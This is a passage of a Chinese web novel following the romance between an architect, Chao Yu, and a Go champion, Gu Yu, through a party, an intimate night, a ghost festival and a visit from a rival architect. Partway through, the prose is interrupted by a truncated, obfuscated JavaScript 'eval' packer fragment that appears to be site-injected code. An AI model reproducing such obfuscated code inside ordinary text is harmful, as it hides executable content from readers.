九叔声音还那样,一派什么都不在意的闲散:“给你介绍个人,我以前的学生,对五代和唐时期的古建筑很有研究,那时大多数建筑和劝宁塔一样,也不用普拍方。” 晁雨不讲话。 九叔:“不想见?那就算了。” 晁雨顿两秒,很没骨气地说:“想见。” “那你在北京多等三天。” “三天?” “她去澳大利亚了,要给自己的马庄里新买匹马。”九叔听起来在下棋,一边跟晁雨讲电话,一边冲对面吼:“放着!我上一步没想走那!” “老九你怎么又悔棋呢?” “我哪悔棋?我那是在打电话没看准,你把我钱都赢走了,我今天晚饭吃什么?” 晁雨:…… 这,就是祝境鹤本鹤。 他的师弟是知名纳税大户,他的学生有马庄买纯血赛马,他在为今晚的晚饭钱发愁。 九叔又在电话里道:“等她回国后,我把她地址发你。” 说完就要挂电话。 “哎等等。”晁雨问:“那这三天扣钱么?” “扣。” “凭什么啊!”晁雨:“那我先回洵州,三天后再来。” “那你自费买高铁票,单位没钱给你报销。” 晁雨:…… 她算了算,好像还是不回洵州,比较划算。 她跟许辰懿说:“我把火车票退了。” 许辰懿斜眼瞟她:“那你是待在我这呢,还是去回本呢?” 晁雨以后再不能正视“回本”这个词了。 她清了清嗓子:“待你这儿,辜屿弟弟要去澳门下一场邀请赛。” “你是因为他不在才待这儿是吧?”许辰懿把抱枕往晁雨身上一扔,咬着手指道用力挤出眼泪道:“所以爱会消失的对吗?” 晁雨差点没被她笑死。 挂在她身上道:“不会,对你的爱不会。” 许辰懿拍拍她的肩:“哼你记着,只有姐们儿和数学不会背叛你。” 在北京的时间一点不难捱。 晁雨走哪儿都带着劝宁塔的修缮方案,许辰懿去上班了,她就在家琢磨方案。 晚上许辰懿回来得很晚,醉醺醺往沙发上一躺。 晁雨去给她冲蜂蜜水,听到她冲进洗手间去吐,赶紧出来。 许辰懿的手机丢在沙发上,屏幕还没熄灭。 晁雨不小心瞟到微信对话框: 许军:[上次炸金花我输的也不多,也就两万。] 许军:[你再不还,要债的堵上门,你妹妹们怎么去上学?] 晁雨背抵在洗手间门上,听许辰懿在里面吐,心里挺不是滋味。 她工资低,不过现在在家开销也低,这两万,她可以凑给许辰懿。 但她知道,以现在许辰懿的收入,根本不缺这两万块。 许辰懿吐完出来仰躺在沙发上:“妈的今晚那洋酒别是假的吧?” 晁雨喂蜂蜜水给她喝,又拧了冰毛巾敷她额上,轻声说:“你别给。” 许辰懿睁开醉眼,看着晁雨。 晁雨:“我不是故意看的。” 许辰懿笑了笑,伸手拍了拍晁雨的脸,重新阖上眼:“放心,我一分钱都不会给。” 两天后,辜屿回来了。 难得许辰懿这天下班早,接了个电话就笑:“你俩可真有意思,约个会还得第三方传话呗?” 晁雨:? 许辰懿晃晃手机:“丁公子打的,约我俩去一个朋友聚会,说辜屿晚上下了飞机直接过去。” “你去吗?” “去啊,这种都是潜在客户的局,姐姐怎么能不去。” 晚上出门前,许辰懿没换衣服,穿白日里那身套装,显得倍儿职业,却非要把那条奢牌裙子给晁雨换上。 晁雨吓死了:“不不不,跟过了电炸开的窗帘似的。” 许辰懿眉一横:“这是你第一次正式见他朋友!” “他那些世交我都见过了。没什么正式不正式的,我穿T恤就行。” 两人一同出门。 还和上次一样,是个低调到连门脸都没有的私人会所。 丁鷇音迎她俩进去,简单对在座介绍了她俩的名字。晁雨扫视一圈,这次人比上次多,还真有几个是她没见过的,包括两个女孩。 许辰懿一边把包放背后,一边悄声跟晁雨说:“看那姑娘的套装没?香家的超季款。靠,这帮有钱人。” 晁雨不太看得懂奢牌。 悄悄瞥那姑娘一眼,只觉得明明年纪小,却长得明艳又立体,很典型的一张模特脸。 “她可以直接出道了吧。”许辰懿又悄声说:“家里有钱长得又好,老天到底给她关了哪扇窗。” 正说着,晁雨手机震了下。 ,:[到了吗?] 冷冷冰雨:[没到。] ,:[哦。] ,:[那我走了。] 冷冷冰雨:[那你走吧。] 过了会儿,又收到辜屿消息。 ,:[你数三下。] 晁雨往包厢外瞥一眼。 从她的视角,并看不到辜屿是不是已经到了、就站在外面。 她低头打字回复。 冷冷冰雨:[行吧。] 冷冷冰雨:[3] 冷冷冰雨:[2] 不知辜屿那冷白瘦长的手指,是否已搭在了充满机械美的金属门把上。 晁雨故意不发出[1],捏着手机一抬头,发现许辰懿正斜眼瞟着她。 晁雨:“干嘛?” “以前跟老贱人在一起时,从没看你露出这副表情。” 晁雨微怔了下,抬手摸摸自己的脸:“我在笑吗?” 没有啊。 许辰懿指指眼睛:“这里。” 晁雨捏着手机,想看辜屿能耗多久,结果门外还真就一直没动静。 直到她发出那个[1],包厢的门应声被推开。 晁雨愣了愣。 她都不确定是否辜屿准备开门时、正巧收到了她的微信,这是一个美丽的巧合,否则时间也太过精准。 辜屿走进来,穿黑T黑裤。 包厢里有些闷,他赶路而来,带了一身月光和凉气。 旁边女孩撞了撞穿香家套装的女孩,动作微小,却被许辰懿敏锐地捕捉到。 许辰懿也撞了撞晁雨的膝盖,晁雨又给她撞回去。 男人们是注意不到这些微妙的。 辜屿只是走进来,视线落在晁雨脸上,又状似平淡地移开去。一边答着丁鷇音的话,一边状似无意地坐到了晁雨身边。 牛皮沙发微微下陷,晁雨端着酒杯跟许辰懿说话,不看辜屿,只是纤细的手指圈着杯口、微微收紧。 不知刚开始谈恋爱的人是否都这样。 甚至不是刻意回避。而是这种回避里,暗含着紧张、悸动、某种不为人知的微妙牵连,他们越是故意不看对方,那根闪光的琴弦反而牵连得越紧。 辜屿问丁鷇音:“开的什么酒?” 丁鷇音食指一弹酒杯:“波摩威士忌,高年份,限量版,够劲儿吧?” 辜屿摁铃传服务生进来:“要一扎西瓜汁。” “……”丁鷇音:“你认真的?” 鲜榨的西瓜汁很快送上,辜屿示意服务生放下。他一边继续跟丁鷇音说着话,一边倒出杯西瓜汁来。 大抵他平时实在话少,难得主动攀谈,丁鷇音跟孔雀开屏似的,被他吸引了全部注意。 丝毫没注意到他的小动作,把玻璃杯轻轻推至晁雨那边。 晁雨跟许辰懿聊着天,垂眸瞥一眼西瓜汁,握着手里的玻璃杯没放。 黑曜石的桌台以下,辜屿轻碰了下晁雨的膝盖。 晁雨这才把手里的酒杯放下,端起西瓜汁来,轻抿一口。 包厢里射灯打得极幽暗,每个人面上是影影绰绰的一片,没有任何人注意到他们的小动作。 又一服务生进来送果盘,一张圆圆脸,说“请慢用”时都带着可爱的北方口音。 她也许是新人,放果盘时险些撞到晁雨。 一紧张家乡话就冒出来了:“对不住啊老姐姐!” 晁雨眉心一跳:老、老姐姐…… 许辰懿在一旁差点没笑抽过去。 待服务生退出去,穿香家套装的女孩站起来,许辰懿立即随她移动视线。 女孩站在晁雨面前,笑盈盈地,礼貌地:“能麻烦让个位置给我吗?” 许辰懿立刻拍一下晁雨。 晁雨回拍一下她的腿示意她淡定,疏朗笑问女孩:“有什么事吗?” 女孩天真明亮,有张未经伤害的脸,大方地一指辜屿:“我有话跟屿哥哥讲。” 哟,屿哥哥。 晁雨半垂睫毛挑了挑唇。辜屿这时扭过头来:“什么话?” 女孩愣了下。 辜屿出现在这种社交场合的次数着实太少。他更像一个传说,女孩听闻他清傲孤高,极难接近。 越是没经摔打的女孩,越想来碰一碰这样的人。 倒没成想辜屿会主动回应她。 女孩端着酒杯琢磨着自己的开场白,又听辜屿淡道:“我女朋友可以一起听。” 女孩看向晁雨的眼神带三分愕然。 晁雨坦然笑着迎接她注目。 一旁的丁鷇音本来叼着块西瓜在安心吃瓜,一听“女朋友”三个字,西瓜籽差点没从鼻腔里喷出来。 他捂着嘴咳了半天,震撼问辜屿:“你、你说什么?” 辜屿顶着张一如往昔的脸。 丁鷇音又转向晁雨:“雨姐,你俩成了?” 晁雨:“嗯。” “谈恋爱的那种成了?” “嗯。” “互相把对方视为男女朋友的那种成了?” “……嗯。” 丁鷇音一脸严肃地冲晁雨双手抱拳:“雨姐,啥也不说了,咱就一声敬佩!敬佩你的勇气!” 辜屿直接抄起块西瓜塞进他嘴里。 丁鷇音后来找了个机会,悄悄溜到晁雨身边,冲她耳语:“他今晚心情很好。” “嗯?”晁雨眼尾瞥一瞥辜屿:“为什么?” 分明还是那张冻脸。 丁鷇音压低声:“你没发现这人平时五官很紧么,绷着劲,特像一种狗,叫什么来着……反正今晚,你看他虽然没笑吧,但眉毛眼间是舒展的。” 晁雨细细的腕子端着杯西瓜汁,今晚自从辜屿来以后她就没喝酒了。 只是包厢里酒意太浓,连带着辜屿身上的味道,浸得她也微醺。 她一手半撑着侧颊去看辜屿,想着丁鷇音说辜屿像小狗,眉目间含一点笑。 辜屿察觉到她的注视,扭过头来。 不知晁雨在他来之前喝了多少酒,脸面倒是没见红,但眼尾溢着流转的光。 平时如江南清溪的姑娘,此时露出难得的妩色。 辜屿喉结轻滚一下,端起方口酒杯,抿一口放下。 这时有人号召着玩真心话大冒险。 许辰懿跟晁雨咬耳朵:“有钱人的消遣也就这些,还不如玩两只小蜜 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辜屿淡淡扫过一眼,眼神说不上什么意味。 晁雨脱下高跟鞋,踩进柔软草坪里。辜屿帮她拎着鞋,走在一旁的卵石小道上。 晁雨今晚到底是喝了酒的。 虽然很少,但那酒太烈。 坐着时还好,此时夜风一吹,酒气醺醺然冒了头。她脚下一个没踩稳,险些跌倒。 辜屿伸手扶她一把。 两人手指相触的一瞬,辜屿指尖的冷凉传来。晁雨忆起刚刚过去的那个夏天、两人第一次肌肤相触,便是她在菜市场门前撞了车,辜屿伸手把她从地上拉起来。 她忽然问辜屿:“所以谁漂亮?” 这问题于公共场合问对谁都不礼貌,私下里却又不同。酒意醺得她起了顽心,攥着辜屿的手指,一根根把玩。 辜屿不答她,只说:“你喝多了。” “也许我酒量实在太差吧,遗传我爸。”晁雨点点头:“那你背我。” 辜屿站着不动。 晁雨攥一下他手指:“背不背啊?” 辜屿站到晁雨面前,背过身,勾下腰。 晁雨跳上去,一手箍着辜屿的脖子,一手拎着高跟鞋。 嘴里继续问辜屿:“说啊,谁漂亮?” 辜屿依旧不答,玄关换了鞋,直接背着晁雨进了卧室。 他欺身压过来的时候,晁雨才本能觉得危险,往后缩了缩,头顶抵住床头。 她小声说:“还没洗澡。” “所以呢?”辜屿问。 辜屿这样的人,是很容易让人觉得危险的。垂沉的墨黑双瞳看过来,连情.欲都化作一把锋韧的刀。 晁雨还没准备好,想打破这一瞬的气氛,攥着辜屿的T恤领口,学今晚漂亮女孩的口吻叫他:“屿哥哥。” 辜屿的手探索进去:“再叫。” 晁雨一瞬噤声。 辜屿的声线冷而薄,手指却在做截然相反的事。 晁雨被他诱着嗫嚅一声,仰起身来去咬他的唇。 他摁在晁雨腕间不让她动,另一手继续探索,自己撑着身子,垂眸看晁雨的反应。 甚至开了一盏台灯,晁雨酡红的面颊、微颤的睫,被他尽数收入眼底。 晁雨索性闭上眼:“你做什么?” 他沉声答,说得直接:“看你。” 他不回答关于谁漂亮的问题,可他一瞬不瞬地看着晁雨,不错过晁雨任何因他而起的反应。 后来晁雨实在没辙。 吻着他侧颈又叫他:“屿哥哥……” 辜屿这才放过她。 这次连辜屿也累了,要躺一会儿再去冲澡,指尖把玩着晁雨的发梢,问晁雨:“笑什么?” 台灯关了,反显得晁雨带笑的双眸过分清亮:“突然想起丁鷇音今晚说‘男朋友女朋友’的语气,笑死人了。” 她侧身枕住自己的小臂,问辜屿:“你这样的人有女朋友很稀奇么?” 辜屿:“你觉得呢?” 她在黑暗中伸指抵住辜屿的肩,指尖轻轻地摩,去寻刚刚被她咬出痕迹的一处:“那你说,对你来说,女朋友意味着什么?” 辜屿起身,黑暗不挡他的路,他扯过浴巾去冲澡。 晁雨知道他最不会说腻歪的话。 故意在身后逗他:“跑什么?” 辜屿大约有工作,刚刚缠绵时,晁雨听到他放在床头的手机震了震。 这时辜屿带着手机去了浴室。 浴室的门并没关严,淋浴水声落下来之前,晁雨听到辜屿应该是点开了微信语音。 要不是晁雨的耳朵这么灵,她应该不会清楚地听到那是一道女声: “你最好清醒一点。” “春闻杯退赛的事别想了。” 晁雨觉得那声音有点耳熟。 后来想起,那是辜屿母亲的声音。 辜屿回来的时候,晁雨背对着他,佯装睡着。 等辜屿躺下,她却转过身,手软软搭在辜屿的腰上。 辜屿微一怔,展开手臂环住她的肩。 晁雨在一片黑暗里轻声开口:“所以‘女朋友’这三个字对你,到底意味着什么?” 黑暗被沉默填充,又被同化成沉默本身。 晁雨:“我换个问法吧,你有什么事都会同我说么?” 一阵静默后,辜屿瘦长的手指在晁雨腰间轻点了下。 “睡吧。”他说。 60. 在一起07 第二天一早,晁雨收到九叔的信息,把见面地址发给了她。 晁雨简单收拾了下匆匆出门,去见九叔的学生。 五星酒店的咖啡厅里,一个气质风雅的女人走过来,短发,系淡色的丝巾,问她:“晁雨小姐?” 晁雨连忙站起来:“我是。” 她在心里为自己的狭隘偏见暗自羞愧。 九叔在电话里提起自己的学生,晁雨脑子里下意识就想象为一个功成名就的男人,类似明恒宇的模样。 是她错了,连她自己都被刻板印象荼毒了。 她暗下决心,一定要熬出头来,至少行业里会又多一个女设计师。 女性之间的谈话总是很舒适,尤其这位女士谈吐不俗,令人如沐春风。 她给晁雨讲了自己研究五代和唐建筑的心得,又给了晁雨一些相应资料。 最后她问:“老师还好么?” 晁雨点头:“如果说身体的话,蛮好的。” “还碰设计么?” 晁雨摇摇头。 女士笑了声:“不碰也好。他以前根本就是不疯魔,不成活。” 与这位女士告别后,晁雨直接回了许辰懿家,收拾东西准备去火车站。 “你这就走了?”许辰懿问:“不多留两天?” “姐们儿。”晁雨提醒她:“我是每天扣着薪水留在北京。” “那辜屿弟弟呢?现在应该在棋室吧,你不等他了?” 晁雨摇摇头:“不了。” 许辰懿瞥她一眼:“你俩吵架了?” 晁雨笑笑:“怎么会?” 许辰懿开车送晁雨去火车站。 晁雨直到坐上高铁,望着窗外的景色明信片一般掠过,心想: 她和辜屿虽说在一起了,但好像远没熟到能吵架的地步。 甚至他们连真正的交流,都不多。 晁雨望着窗外,想着昨晚毛慕清的那两条微信语音。 她没想到辜屿还是决定退出春闻杯。 之前她是听过这件事,不过后来辜屿表现如常,回北京后,练棋、工作也一如既往。 她就想当然以为那只是压力的一种表现。 想不到辜屿还是决意退赛,并且什么都没跟她说。 晁雨又望着窗外发了一阵呆,觉得辜屿那种性格的人,可能并没真正想过“女朋友”三个字意味着什么。 晁雨回到洵州,没了晁二柱的五菱宏光来接她,她坐公交车,带着行李风尘仆仆往办公室赶。 九叔还和以前一样,坐在电脑前玩扫雷。 她坐到自己办公桌前,打开劝宁塔的方案,闷闷地不说一句话。 九叔不看她,看着电脑说:“你倒是先把这几天的案卷整理了呀。” 晁雨面无表情:“你占着电脑。” 九叔让开位置,晁雨坐过去,开始整理案卷。 九叔踱出办公室,又进来,晁雨垂眸一看,键盘旁多了根娃娃头。 晁雨不接,收回视线继续看屏幕:“我没那么好哄。” “谁哄你了。”九叔哼一声:“我自己想吃,老板买一送一。不吃算了,我都给吃了。” 直到下班,晁雨收拾东西准备走。 九叔总说她搞劝宁塔的方案搞不出什么名堂来,不让她浪费办公室的电,她只好回家浪费自己的电去。 这天九叔却叫住她:“等等。” “把小陈拿给你的资料,给我看看。” 晁雨反应了两秒,原来那位气质风雅的中年女士,在九叔面前也不过是“小陈”。 晁雨看着九叔。 九叔:“你那么有骨气的话,就别给我。” 骨气是什么,能吃吗? 晁雨掏出资料递给九叔。 这都是一些珍贵古籍的影印本,九叔翻了翻,把其中几页折个角,丢回给晁雨:“走咯,下棋去了。” 晁雨哼一声,心想老头儿有什么了不起的。 结果老头儿还真就了不起。 看似随手折出的几页,够她研究好几天。 这天晚上,她正在苦思,许辰懿打来视频:“你跟辜屿弟弟联系了吗?” 晁雨满脑子都是栌斗阑额,顺口答道:“没有。” 许辰懿哈一声:“就知道你俩吵架了。” 真是亲姐们儿,最知道什么时候诈她。 晁雨:“真没吵架,没熟到能吵架的份上。” “哟这小语气怎么这么酸。”许辰懿:“得吵啊,不吵怎么交流呢。” 有什么可交流的。 晁雨心想,她和辜屿之间,也就只有身体交流得挺好。 她这么些天没联系过辜屿,辜屿竟也没联系过她。 好好好,好得很。 许辰懿看着晁雨的神情好笑:“你的表情特像被蜜蜂蜇了你知道么?” “没有的事。” “哦对了,有件正事。我听葛阿姨说,你们洵州要过鬼节的对吧?” “嗯,我们叫甘露节。” 越是古朴的地方,越敬鬼神。洵州过的并非常规中元节,相反,过的是阴历七月末甘露门关的日子。 在这一天,在人间徜徉的游魂们会返回鬼门内。洵州会举办盛大的街会,到处张灯结彩、披红挂绿,人们穿着传统的手工扎染麻衣,放花灯、舞狮、踩高跷,送来人间访亲的先祖们最后一程,明年再会。 “对对就这个。”许辰懿:“你去帮我拍点照,我做Keynote要用。” “行吧。” 甘露节在晁雨小时候规模盛大,是满城的盛事。到了现在,只集中在老城区的一条街,参加的也多是些遵循传统的老人。 晁雨跟葛洁说了她要去拍照,葛洁两眼放光:“去呀!” 晁雨:…… 葛洁这么兴奋是因为,在洵州,每位女性成年时,都会收到女性长辈送的一件手工扎染麻衣。很素的棉麻色,为的是配合节日里人们所带颜色绚烂的面具。 宽宽大大的没腰身,若按现在的审美,十分像一个装大米的棉口袋。 晁雨:“其实吧,也不是每个去街市的人都要穿传统麻衣……” 葛洁一捧脸,坐到茶桌边就开始唉声叹气。 晁雨:“穿穿穿,穿还不行嘛?” 晁雨自从收到葛洁送的这件麻衣后,一次没穿过。 葛洁一拍巴掌:“这就对了嘛!” 秋风起,白露至。鸿雁来,玄鸟归。 晁雨出发去街市前,给许辰懿打了个视频,问问许辰懿的具体要求。 许辰懿十分羡慕:“如果我的年假能在洵州留到这时候,我一定要去逛逛。” “是吗?”晁雨有点意外。 她在洵州长大,对甘露节的各种活动根本没兴趣,其他孩子跟她也是一样。不过想想也是,就跟北京孩子都没看过天安门升旗一个道理。 晁雨是踏着暮色出发的,走到街市,刚刚好,周围浓灰的夜色罩下来。 洵州到了深秋的夜里会起雾,各种小摊在青石板路上连绵,竹制的摊位上挑出一盏盏昏芒的灯,一路绵延至雾气里,往霓山上而去。 晁雨很小的时候,被晁正声拖来过两次。到现在,连晁正声和葛洁都懒得来了,来的都是些年纪更大的老年人,再不就是附近市镇被“骗”来的游客。 晁雨好多年不来,顿觉这景色别有意趣。 在许辰懿的要求之外,自己也禁不住多拍了两张。 小摊卖的多是些年轻人不感兴趣的东西,毛笔、焚香、香囊……稍好点的就是一盏盏荷花造型的河灯,可以拿到雩溪边去放。 要是游客对这古朴的景致不感兴趣,这些小摊又没什么好逛,十有八九要抱怨一句: “嘁,什么啊,上当受骗了。” 晁露一路往街市里走,一个满头银发的老婆婆叫住晁雨:“小娘,买一个吧。” “小娘”是老辈人对年轻姑娘的称呼。 晁雨望过去。 老婆婆守的小摊,卖各种造型的面具。在街市里除了毛笔、焚香、河灯,最多的就是这种卖面具的。 面具并不精美,也笨拙的并不会追随潮流、没引入什么年轻人喜闻乐见的IP。都是木质,用并不十分流畅的刀工,配上格外鲜亮的颜料,画成传统的钟馗、魁星、关公、熊神等。 大多表情夸张,粗犷狰狞,不为年轻人所喜。 这些面具小摊的生意通常并不好,因为一个面具买回去,大、大概可以戴个十来年没问题…… 所以一般逮着年轻人和游客兜售。 晁雨连连摆手:“我不用,我就是来拍个照。” “那不行,你看看时间,马上跳魂的队伍就要开始了,你不戴面具,一看就是人类,会被抓走的。啊呀,兆头不好。” 所谓跳魂,就是洵州资历深厚的老人们,排成一纵列,手舞足蹈,击掌而歌。他们唱的这种传统地方戏,在年轻人中早已失传了,总共只有五个音节,听起来诡谲而悠扬。 晁雨:“我真不用,我们家没怎么信这个。” “不信也要戴。你不买的话,我送你一个。”银发婆婆很坚持,摘下个面具塞到晁雨怀里。 “别别,那我还是付钱吧。”晁雨哪能白要,毕竟这些做传统手工的老人家也不容易。 付款方式倒是很与时俱进,有二维码。 晁雨掏出手机扫了二维码,问:“多少钱?” 银发婆婆眉开眼笑:“二百五。” ……靠,真贵。 晁雨有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到这时,晁雨真怀疑刚才的惊鸿一瞥是错觉了。 她只是随着人群,往刚刚辜屿出现过的地方移动着,飘飘荡荡,迷迷糊糊。 脊背挤出一层薄薄的细汗。 忽然,一只微凉的手握住了她的手腕。 晁雨一惊,回眸。 见是那戴着龙王面具的白衣少年,那赤红描金的面具近看更觉得震撼。晁雨一时间说不出话,辜屿的手抬上来,把她的手包进手里,接着变成十指紧扣。 牵着她往前走去。 围观的人群是要跟着队伍一同行进的。辜屿牵着晁雨,在震颤耳膜的乐声和喧杂的人声中,两人都没说话。 等到吟唱的高潮、领队的老者开始悠扬而歌,人群瞬间骚动起来,人人都想往队伍排头的方向涌。 辜屿和晁雨本来牵着手,却几乎被人群冲散。有那么一瞬间,晁雨觉得两人的手要分开了,可辜屿牢牢握着她的手,把她拉过来在近乎疯涌的人群里、护进自己怀里。 冷沉的气息瞬间包裹了她、盈满了她。 辜屿贴进她耳边:“不是故意瞒你,只是不想你知道,我也怕输。” “我知道我是这样的人。可……”辜屿顿了顿,握紧她指尖。 有那一瞬间,晁雨以为辜屿会说:“我爱你。” 可辜屿沉声说出的三个字敲打在人心脏上。他说的是:“别放手。” 晁雨,别放手。 即便我生性孤冷。 即便我钝于交流。 即便这个要求,是我一贯理性之外的任性。 请永远别放手。 在整个甘露节最高潮的时刻,连摊主们都涌去听那年过九旬的老者吟唱了。辜屿把晁雨护到一条窄巷的入口处,旁边的摊位空荡荡,这里反而空无一人。 老人在唱:“春兰兮秋菊——长无绝兮终古——!” 辜屿瘦长的手指,挑起晁雨的牛神面具。 晁雨一张雪白的面孔露出来,罩在昏色的灯光中。 辜屿往上推开自己的面具,只露出下半张脸,下巴的线条紧致而流畅,他的唇薄,唇形好看,捉住晁雨两只手腕靠近的时候,有种清而涩的气息。 他吻了下来。 脸上的面具挂着晁雨鬓发。可他的唇很软,吻很温柔,像怪物褪去鳞甲、露出真身。 晁雨不知这个吻持续了多久,耳边的乐声混淆了时间。 等到辜屿的唇离开、把她的面具罩回脸上,老人的领唱结束了。 队伍继续往前走去。辜屿牵着晁雨的手,往前走着,回眸之间,晁雨听见他的声音从龙王面具下传来: “去放河灯么?” 61. 在一起08 晁雨点头应道:“好。” 等到跳魂的队伍结束了,辜屿到小摊上买了盏河灯,摊主送了支毛笔。 两人来到雩溪边。溪边的人反而少,老人们按照各家传统,并不一定有放河灯祈福的习惯。来放河灯的,多是些游客。 本着“能宰一单是一单”的原则,河灯卖得不算便宜,所以来放的人也不多。 河灯就是简单的莲花造型,中间一个铝制的小托,可以放短短一截蜡烛。 跟一些地方放孔明灯的习惯有些像,莲瓣上可以简单写些祈福的话语。 辜屿把毛笔递给晁雨。 晁雨接过一看,这毛笔还挺方便,笔尖一用力就能出墨,墨用完笔就废了,一次性的。 晁雨蹲在溪边,捧着河灯仰面问辜屿:“写什么?” 她已把面具摘了透气。因为河边有零星的游客,辜屿倒是把龙王面具还罩在脸上。 辜屿耸了下肩。 晁雨想了想,借着一盏暗淡的路灯,落笔写自己的名字: [晁雨]。 又换了一瓣写: [辜屿]。 然后站起来:“就这样吧。” 辜屿接过河灯,勾腰放进溪里。 他们这盏河灯旁,还有其他的三五盏,莲瓣上写得密密麻麻的,倒显得晁雨只写了两个名字格外空荡。 随着“啪”、“啪”的声音响了一会儿,游客们发现雩溪边真是有打不完的蚊子,纷纷撤退。 晁雨也被咬得很惨,时不时在胳膊上挠一下。 但就要在河边喂蚊子,是刚谈恋爱的人最后的倔强。 她斜着眼尾瞟辜屿,发现这人清霜朗月站在溪边,既不打蚊子也不挠痒痒。 晁雨心里犯嘀咕:蚊子都不咬他的吗。血太冷?冻嘴? 一盏河灯越飘越远,到视线不能及的下游,便要沉没进溪里。 晁雨又打死小臂上的一只蚊子,带着一手血,这时才道:“其实谁不怕输呢。” “刚从北京卷铺盖卷滚蛋的时候,我回到洵州,心里怕得要死。不过我这种人吧,越怕,就越要装得二五八万似的,谁都没看出我怕。” 她冲辜屿一弯眉眼:“不过我悄悄告诉你哦,我是真的怕,简直不知以后的日子怎么过下去。” “刚到古建筑保护管理局工作的时候,我一看劝宁塔的修缮方案,连祝境鹤都没做出来,我手痒得要死,但我那时候真不敢。” “其实我心里一直有个想法。” “说不定明恒宇这么坑我一把,其实是高看我了。其实我根本没他想得那么厉害,他放任我再发展几年,我也做不出什么更好的设计来。” “我有时也会想,就这么不做设计算了。那我就一直可以说,我是被人坑了,不是我自己天资不行、能力不行。” 辜屿站在溪边听她讲。 她抬手贴一贴辜屿的小臂:“你得捧哏啊,弟弟。你得问我,后来为什么又敢了?” 辜屿:“为什么?” 晁雨的一双笑眼,柔和地弯起来,指指脚下:“因为我发现,我是个有退路的人。不管我再怎么往下跌,洵州在这里,我的家乡在这里,我的家人在这里,他们给我兜底,我就永远跌不到底。” 夜色垂坠,她的双眸一如面前的雩溪,清亮亮的:“所以辜屿,我当你的家乡。” “我当你的洵州。” - 之前业内也零星传出过辜屿要退赛的消息。 这次辜屿回北京,关于「春闻杯」的通稿终于铺天盖地发了出来。 因为他的工作室终于官方确认,辜屿会参加本届春闻杯无疑。 辜屿确定参赛后,作息倒是和以前没什么改变。 他最主要的对手是“小妖刀”郑旻勋。十六七岁年纪,锋芒比辜屿当年更盛。 不过辜屿是进攻型下法,下棋通常都是以我为主。 对韩国棋手的棋路研究早已融入日常,大赛前,他还和平时一样,研究棋谱、和队友对弈。 各种拍摄工作就尽量集中在一起,用半天或一天出门搞定。 许辰懿这天代表亚轩,来盯一组平面的拍摄。 这项目的甲方霸霸特别豪横,不差钱的主儿,用的是北京一等一的摄影棚。 许辰懿正跟手下的实习生小朋友吹牛呢,远远看见一熟人,便婀娜多姿地摇着过去,问辜屿:“聊两句?” 化妆师一看:哟,这姐姐挺漂亮。但没戏啊。毕竟这位是禁欲系天花板,别管甜系盐系,油盐不进。 没想到辜屿点了头。 化妆师都惊了,一边往边上走,一边还频频回头打量许辰懿。 许辰懿一手摁在化妆桌上,微眯着眼打量他:“和好了?我一看你这面相就知道。” 辜屿:“你会看相?” 许辰懿“嗨”一声:“搞市场的,什么都得会点。我还会斗蛐蛐儿你敢信么?” 说着她压低音量:“趁小雨不在,我得跟你说说。” “你得会谈恋爱知道吧?一来有什么事,主动告诉小雨。二来小雨有什么事,比如累了啊、怕了啊,你得主动安慰。” “你话少,没事儿,姐姐教你一招,你就主动亲她一下就行,然后嘴里发出无比可爱的:啾~” 辜屿脸上顿时出现一种被鹅啄了的神情。 许辰懿心里差点没笑死,一撩长卷发:“事了拂衣去,深藏功与名。教会你就行,姐先走了。” 辜屿决定不退赛后,最激动便是跟他签经纪约的老板,恨不得每天对着关公老爷进三炷香,再磕三个响头。 郑旻勋接受采访时则表示,将抱着悬命的意志冲击辜屿。 网上评论区有人在刷: [之前我都不敢说,不是有内部消息传出辜屿要退赛吗?吓得我,生怕说着说着就成真了。] 有人跳出来: [我就是那内部人士。] [辜屿一度是想退赛来着,不过后来问题解决了。] 网友们蜂拥而至: [怎么解决的?] [蹲答案。] [放个屁股。] 这位自称“内部人士”的,吊了网友大半天,直到下午才露面说: [辜屿由人带着,去拜了尊很厉害的佛。] [有三只眼,厚嘴唇,耳垂一路垂到肚脐眼。] 晁雨没意识到自己被传成了“三只眼、厚嘴唇、耳垂一路垂到肚脐眼”的模样。 她坐在午后的阳光下晒着自己的背,在一阵乱飞的鸡鸭鹅毛和棉絮中,打了个大大的喷嚏,抬手掐着自己的耳垂。 据说这样能止喷嚏。 她坐在外面是因为,办公室里又停电了。 入了秋,夜里很快凉下来,但下午正值秋老虎发威的时候。一停电,办公室里闷得待不住,她和九叔只好坐在路墩上,等人来抢修。 活禽店的老板娘叉着腰,站在马路牙子上骂:“又停电又停电,我那些冻起来的鸡鸭鹅怎么办哪!” 晁雨面前放着盆刚洗净的枣子。 毛秀珍自己种的,给她装了些带到办公室来。味道不算好,和毛秀珍种的葡萄一样透着涩味,但脆脆的,很适合用来磨牙。 刚洗过的枣子水灵灵的,晁雨拿起一颗,九叔也拿起一颗。 晁雨用牙尖啃,九叔用齿根啃。 两人之间莫名在比赛似的,比谁能把枣啃得更干净。 晁雨心里:嘁,幼稚。 却一直拿着那颗枣反反复复地咬,就是不肯换下一颗。 就在一老一少这么幼稚地比赛着时,一阵脚步走过来。 晁雨抬起头,在一阵浓金的秋日阳光里眯起来眼来—— 鬼门不都已经关了么? 她怎么又看见明恒宇这个鬼东西了。 明恒宇没有平日里在公司傲气暗藏的劲头,跟在一个鹤发童颜的老者身边,毕恭毕敬。 晁雨只一眼就认出来了,那是杜昱德。 作为知名纳税大户、全国知名建筑设计工作室的创始人,杜昱德在这样的天气里仍穿着西装,打领带,站到九叔面前,叫了声:“师兄。” 穿着件被虫蛀个窟窿的老头乐背心、正一门心思啃枣的瘦老头儿仰起脸。 十分不屑地嘁一声,把枣核往身后树下的泥地里一扔,嘬着手指走了。 杜昱德并不生气,自我解嘲地笑笑:“他就这脾气。” 又对晁雨道:“晁小姐,不如我们聊聊?” 晁雨瞥他身后的明恒宇一眼。 杜昱德能亲自跑这一趟,肯定是有什么大动作。 她站起来:“好,等我洗个手。” 三人来到老街的一间茶室。 茶室里都是些摇着蒲扇的老人,空调不够给力,几台摇头电扇呜呜吹着。一盏浓茶要就半盏茶叶,喝一口吐一口茶叶渣子。 一盏茶能坐一下午。 晁雨开门见山:“请问什么事?” 